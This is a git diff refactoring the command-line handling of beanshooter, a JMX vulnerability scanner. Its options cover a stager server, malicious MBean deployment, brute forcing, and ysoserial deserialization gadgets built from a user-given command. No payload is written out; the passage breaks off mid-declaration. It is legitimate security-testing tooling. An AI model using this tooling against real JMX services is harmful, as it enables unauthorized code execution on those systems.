-ysoserial=/opt/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar +yso=/opt/yso.jar mLetName=DefaultDomain:type=MLet beanClass=de.qtc.tonkabean.TonkaBean diff --git a/beanshooter/src/de/qtc/beanshooter/Starter.java b/beanshooter/src/de/qtc/beanshooter/Starter.java index 1d3483a..fc2051d 100644 --- a/beanshooter/src/de/qtc/beanshooter/Starter.java +++ b/beanshooter/src/de/qtc/beanshooter/Starter.java @@ -1,8 +1,7 @@ package de.qtc.beanshooter; import de.qtc.beanshooter.cli.ArgumentHandler; -import de.qtc.beanshooter.operation.Dispatcher; -import de.qtc.beanshooter.operation.Operation; +import de.qtc.beanshooter.cli.Operation; /** * The Stater class handles the startup process of beanshooter. beanshooter actions @@ -12,14 +11,12 @@ * * @author Tobias Neitzel (@qtc_de) */ -public class Starter { - +public class Starter +{ public static void main(String[] argv) { ArgumentHandler handler = new ArgumentHandler(argv); Operation operation = handler.getAction(); - - Dispatcher dispatcher = new Dispatcher(); - operation.invoke(dispatcher); + operation.invoke(); } } \ No newline at end of file diff --git a/beanshooter/src/de/qtc/beanshooter/cli/ArgType.java b/beanshooter/src/de/qtc/beanshooter/cli/ArgType.java new file mode 100644 index 0000000..d27eb2e --- /dev/null +++ b/beanshooter/src/de/qtc/beanshooter/cli/ArgType.java @@ -0,0 +1,14 @@ +package de.qtc.beanshooter.cli; + +/** + * The ArgType enum contains the possible argument types that may be passed on the + * command line by the invoking user. + * + * @author Tobias Neitzel (@qtc_de) + */ +public enum ArgType +{ + INT, + BOOL, + STRING; +} \ No newline at end of file diff --git a/beanshooter/src/de/qtc/beanshooter/cli/ArgumentHandler.java b/beanshooter/src/de/qtc/beanshooter/cli/ArgumentHandler.java index 70f4d75..c721c2f 100644 --- a/beanshooter/src/de/qtc/beanshooter/cli/ArgumentHandler.java +++ b/beanshooter/src/de/qtc/beanshooter/cli/ArgumentHandler.java @@ -3,12 +3,21 @@ import java.io.FileInputStream; import java.io.IOException; import java.io.InputStream; +import java.util.HashMap; +import java.util.Map; import java.util.Properties; +import javax.management.remote.JMXConnector; +import javax.rmi.ssl.SslRMIClientSocketFactory; + import de.qtc.beanshooter.exceptions.ExceptionHandler; import de.qtc.beanshooter.io.Logger; -import de.qtc.beanshooter.operation.Operation; +import de.qtc.beanshooter.mbean.MBean; +import de.qtc.beanshooter.mbean.MBeanOperation; +import de.qtc.beanshooter.operation.BeanshooterOperation; +import de.qtc.beanshooter.operation.BeanshooterOption; import de.qtc.beanshooter.plugin.PluginSystem; +import de.qtc.beanshooter.utils.Utils; import net.sourceforge.argparse4j.ArgumentParsers; import net.sourceforge.argparse4j.inf.ArgumentParser; import net.sourceforge.argparse4j.inf.ArgumentParserException; @@ -21,19 +30,21 @@ * * @author Tobias Neitzel (@qtc_de) */ -public class ArgumentHandler { - +public class ArgumentHandler +{ private Namespace args; private ArgumentParser parser; private Properties config; private Operation action = null; - private String defaultConfiguration = "/config.properties"; + private static ArgumentHandler instance = null; + private static final String defaultConfiguration = "/config.properties"; /** * Creates an ArgumentParser and adds one subparser for each supported operation. After * creating the parsers, it parses the current command line and starts the initialization - * process. + * process. The initialized ArgumentHandler object is set as a static class attribute that + * can be accessed by other classes to obtain the instance. * * @param argv the specified command line arguments */ @@ -42,9 +53,10 @@ public ArgumentHandler(String[] argv) parser = ArgumentParsers.newFor("beanshooter").build(); parser.description("beanshooter v" + ArgumentHandler.class.getPackage().getImplementationVersion() + " - a JMX Vulnerability Scanner"); - Subparsers subparsers = parser.addSubparsers().help(" ").metavar("action").dest("action"); - Operation.addSubparsers(subparsers); - + Subparsers subparsers = parser.addSubparsers().help(" ").metavar(" ").dest("action"); + BeanshooterOperation.addSubparsers(subparsers); + MBeanOperation.addSubparsers(subparsers); + try { args = parser.parseArgs(argv); @@ -54,6 +66,9 @@ public ArgumentHandler(String[] argv) } initialize(); + + if( ArgumentHandler.instance == null ) + ArgumentHandler.instance = this; } /** @@ -62,13 +77,13 @@ public ArgumentHandler(String[] argv) */ private void initialize() { - config = loadConfig(args.get(Option.GLOBAL_CONFIG.name)); - Option.prepareOptions(args, config); + config = loadConfig(args.get(BeanshooterOption.GLOBAL_CONFIG.name())); + OptionHandler.prepareOptions(args, config); - if( Option.GLOBAL_NO_COLOR.getBool() ) + if( BeanshooterOption.GLOBAL_NO_COLOR.getBool() ) Logger.disableColor(); - PluginSystem.init(Option.GLOBAL_PLUGIN.getValue()); + PluginSystem.init(BeanshooterOption.GLOBAL_PLUGIN.getValue()); } /** @@ -110,11 +125,171 @@ private Properties loadConfig(String filename) */ public Operation getAction() { - this.action = Operation.getByName(args.getString("action")); + String actionArg = args.getString("action"); + this.action = BeanshooterOperation.getByName(actionArg); + + if( action == null ) { + + MBean selectedBean = MBean.getMBean(actionArg); + + if( selectedBean == null ) + ExceptionHandler.internalError("ArgumentHandler.getAction", "Unable to find MBean with name: " + selectedBean); + MBeanOperation.setMBean(selectedBean); + String mBeanAction = args.getString("mbean-action"); + + this.action = MBeanOperation.getByName(mBeanAction); + } + if( action == null ) - ExceptionHandler.internalError("ArgumentHandler.getAction", "Invalid action was specified"); + ExceptionHandler.internalError("ArgumentHandler.getAction", "The specified action is not avaialble"); return action; } + + /** + * Parses the user specified gadget arguments to request a corresponding gadget from the PayloadProvider. + * The corresponding gadget object is returned. + * + * @return gadget object build from the user specified arguments + */ + public Object getGadget() + { + String gadget = (String) require(BeanshooterOption.SERIAL_GADGET_NAME); + String command = require(BeanshooterOption.SERIAL_GADGET_CMD); + + return PluginSystem.getPayloadObject(this.getAction(), gadget, command); + } + + /** + * Other classes can use this function to obtain the current instance of the ArgumentHandler + * class. + * + * @return currently used instance of ArgumentHandler + */ + public static ArgumentHandler getInstance() + { + return ArgumentHandler.instance; + } + + /** + * Parses the user specified SASL mechanism and returns it in form of a member of the + * SASLMechanism enum. null is returned if no SASL mechanism was specified. + * + * @return user specified SASLMechanism or null + */ + public static SASLMechanism getSASLMechanism() + { + if( BeanshooterOption.CONN_SASL.isNull() ) + return null; + + String mechanism = BeanshooterOption.CONN_SASL.getValue(); + return SASLMechanism.valueOf(mechanism.toUpperCase()); + } + + /** + * The require function allows other parts of the source code to require an option value. + * If the corresponding option was not set, an error message is printed and the current execution + * ends. This should be called first by functions that require an specific argument. + * + * @param option Option that is required + * @return the currently set option value + */ + @SuppressWarnings("unchecked") + public static T require(Option option) + { + if( option.notNull() ) { + + try { + return (T)option.getValue(); + + } catch( ClassCastException e ) { + ExceptionHandler.internalError("RMGOption.require", "Caught class cast exception."); + } + } + + Logger.eprintlnMixedYellow("Error: The specified aciton requires the", option.getName(), "option."); + Utils.exit(); + + return null; + } + + /** + * Allows other parts of the source code to check whether one of the requested Options was + * specified on the command line. If none of the requested Options was found, print an error + * and exit. This should be called first by functions that requires one of a set of Options. + * + * @param options Options to check for + * @return the value of the first option that was found. + */ + public static Object requireOneOf(Option... options) + { + StringBuilder helpString = new StringBuilder(); + + for( Option option : options ) { + + if( option.notNull() ) + return option.getValue(); + + helpString.append(option.getName()); + helpString.append(", "); + } + + helpString.setLength(helpString.length() - 2); + + Logger.eprintlnMixedYellow("Error: The specified aciton requires one of the", helpString.toString(), "options."); + Utils.exit(); + + return null; + } + + /** + * Allows other parts of the source code to check whether all of the requested Options were + * specified on the command line. If not all of the requested Options was found, print an error + * and exit. This should be called first by functions that requires a set of Options. + * + * @param options Options to check for + */ + public static void requireAllOf(Option... options) + { + boolean failed = false; + StringBuilder helpString = new StringBuilder(); + + for( Option option : options ) + { + if( option.isNull() ) + failed = true; + + helpString.append(option.getName()); + helpString.append(", "); + } + + helpString.setLength(helpString.length() - 2); + + if( failed ) + { + Logger.eprintlnMixedYellow("Error: The specified aciton requires the", helpString.toString(), "options."); + Utils.exit(); + } + } + + /** + * Authentication to JMX endpoints is usually handled using a map that contains the authentication + * parameters. This function is used to prepare such a map by using the Options specified on the command + * line. + * + * @return + */ + public static Map getEnv() + { + HashMap env = new HashMap(); + + if(BeanshooterOption.CONN_SSL.getBool()) + env.put("com.sun.jndi.rmi.factory.socket", new SslRMIClientSocketFactory()); + + if(BeanshooterOption.CONN_USER.notNull() && BeanshooterOption.CONN_PASS.notNull()) + env.put(JMXConnector.CREDENTIALS, new String[] {BeanshooterOption.CONN_USER.getValue(), BeanshooterOption.CONN_PASS.getValue()}); + + return env; + } } diff --git a/beanshooter/src/de/qtc/beanshooter/cli/Operation.java b/beanshooter/src/de/qtc/beanshooter/cli/Operation.java new file mode 100644 index 0000000..0d4fdba --- /dev/null +++ b/beanshooter/src/de/qtc/beanshooter/cli/Operation.java @@ -0,0 +1,23 @@ +package de.qtc.beanshooter.cli; + +/** + * beanshooter was designed with extensibility in mind. The argument layout is centered + * around operations that can be invoked on MBeans available within the MBean server. For + * each MBean, beanshooter may defines an enum that implements the Operation interface. + * This enum contains the operations that are supported by the corresponding MBean and needs + * to make the interface functions available. beanshooter can then integrate them into the + * argument layout automatically. + * + * Apart from adding the enum implementing Operation, the MBean must also be registered within + * the de.qtc.beanshooter.mbean.MBean class. It is recommended to look at the already existing + * MBean implementations in the de.qtc.beanshooter.mbean package. + * + * @author Tobias Neitzel (@qtc_de) + */ +public interface Operation +{ + public String getName(); + public String getDescription(); + public boolean containsOption(Option option); + public void invoke(); +} \ No newline at end of file diff --git a/beanshooter/src/de/qtc/beanshooter/cli/Option.java b/beanshooter/src/de/qtc/beanshooter/cli/Option.java index 355718d..3a5750b 100644 --- a/beanshooter/src/de/qtc/beanshooter/cli/Option.java +++ b/beanshooter/src/de/qtc/beanshooter/cli/Option.java @@ -1,391 +1,33 @@ package de.qtc.beanshooter.cli; -import java.util.EnumSet; -import java.util.HashMap; -import java.util.Map; -import java.util.Properties; - -import javax.management.remote.JMXConnector; -import javax.rmi.ssl.SslRMIClientSocketFactory; - -import de.qtc.beanshooter.exceptions.ExceptionHandler; -import de.qtc.beanshooter.io.Logger; -import de.qtc.beanshooter.operation.Operation; -import de.qtc.beanshooter.utils.Utils; -import net.sourceforge.argparse4j.impl.Arguments; -import net.sourceforge.argparse4j.inf.Argument; import net.sourceforge.argparse4j.inf.ArgumentAction; -import net.sourceforge.argparse4j.inf.ArgumentGroup; -import net.sourceforge.argparse4j.inf.ArgumentParser; import net.sourceforge.argparse4j.inf.Namespace; /** - * All available beanshooter options are defined in the Option enum. The enum stores the option - * names, their description, the information whether they are boolean or store values and an optional - * meta variable. Additionally, each Option is assigned to an OptionGroup. This is used for grouping - * related arguments in the help menu of the programm. - * - * Options are not assigned to operations here. This is done within the Operation class. - * + * beanshooters command line layout contains subparsers for each supported MBean. + * MBean implementations are responsible for adding their available options within + * their own package namespace using an enum that implements the Option interface. + * + * The enum should contain all available options in the same format as they are + * stored in the de.qtc.beanshooter.operations.BeanshooterOption enum. beanshooter + * uses the interface functions to obtain the option values during runtime and to + * add them to the command line. + * * @author Tobias Neitzel (@qtc_de) */ -public enum Option { - - GLOBAL_CONFIG("--config", "path to a configuration file", Arguments.store(), OptionGroup.GENERAL, "config-file"), - GLOBAL_VERBOSE("--verbose", "enable verbose output", Arguments.storeTrue(), OptionGroup.GENERAL), - GLOBAL_PLUGIN("--plugin", "file system path to a beanshooter plugin", Arguments.store(), OptionGroup.GENERAL, "plugin-file"), - GLOBAL_NO_COLOR("--no-color", "disable colored output", Arguments.storeTrue(), OptionGroup.GENERAL), - GLOBAL_STACK_TRACE("--stack-trace", "display stack traces for caught exceptions", Arguments.storeTrue(), OptionGroup.GENERAL), - - TARGET_HOST("host", "target host", Arguments.store(), OptionGroup.NONE, "host"), - TARGET_PORT("port", "target port", Arguments.store(), OptionGroup.NONE, "port"), - TARGET_BOUND_NAME("--bound-name", "target bound name within an RMI registry", Arguments.store(), OptionGroup.TARGET, "name"), - TARGET_OBJID_SERVER("--objid-server", "target ObjID for an RMIServer remote object", Arguments.store(), OptionGroup.TARGET, "objid"), - TARGET_OBJID_CONNECTION("--objid-connection", "target ObjID for an RMIConnection remote object", Arguments.store(), OptionGroup.TARGET, "objid"), - - CONN_FOLLOW("--follow", "follow redirects to different servers", Arguments.storeTrue(), OptionGroup.CONNECTION), - CONN_SSL("--ssl", "use SSL for connections", Arguments.storeTrue(), OptionGroup.CONNECTION), - CONN_JMXMP("--jmxmp", "use JMXMP for JMX communication", Arguments.storeTrue(), OptionGroup.CONNECTION), - CONN_USER("--username", "username to use for JMX authentication", Arguments.store(), OptionGroup.CONNECTION, "user"), - CONN_PASS("--password", "password to use for JMX authentication", Arguments.store(), OptionGroup.CONNECTION, "pass"), - CONN_SASL("--sasl", "use SASL auth mechanism for JMXMP", Arguments.storeTrue(), OptionGroup.CONNECTION), - - DEPLOY_STAGER_ONLY("--stager-only", "only launch the stager HTTP server", Arguments.storeTrue(), OptionGroup.ACTION), - DEPLOY_NO_STAGER("--no-stager", "do not launch the stager HTTP server", Arguments.storeTrue(), OptionGroup.ACTION), - DEPLOY_STAGER_URL("--stager-url", "url of the stager server", Arguments.store(), OptionGroup.ACTION, "URL"), - DEPLOY_STAGER_PORT("--stager-port", "TCP port to start the stager on", Arguments.store(), OptionGroup.ACTION, "port"), - DEPLOY_STAGER_ADDR("--stager-host", "IP address to start the stager on", Arguments.store(), OptionGroup.ACTION, "addr"), - DEPLOY_BEAN_CLASS("--classname", "classname of the MBean to deploy", Arguments.store(), OptionGroup.BEAN, "name"), - DEPLOY_BEAN_NAME("--object-name", "object name of the MBean to deploy", Arguments.store(), OptionGroup.BEAN, "name"), - DEPLOY_JAR_FILE("--jar", "jar archive to deploy", Arguments.store(), OptionGroup.BEAN, "path"), - - BRUTE_THREADS("--threads", "maximum number of threads (default: 5)", Arguments.store(), OptionGroup.ACTION, "threads"), - YSO("--yso", "location of ysoserial.jar for deserialization attacks", Arguments.store(), OptionGroup.ACTION, "yso-path"); - - public final String name; - public final String description; - public final String metavar; - public final ArgumentAction argumentAction; - public OptionGroup optionGroup = null; - - public Object value = null; - - private final static EnumSet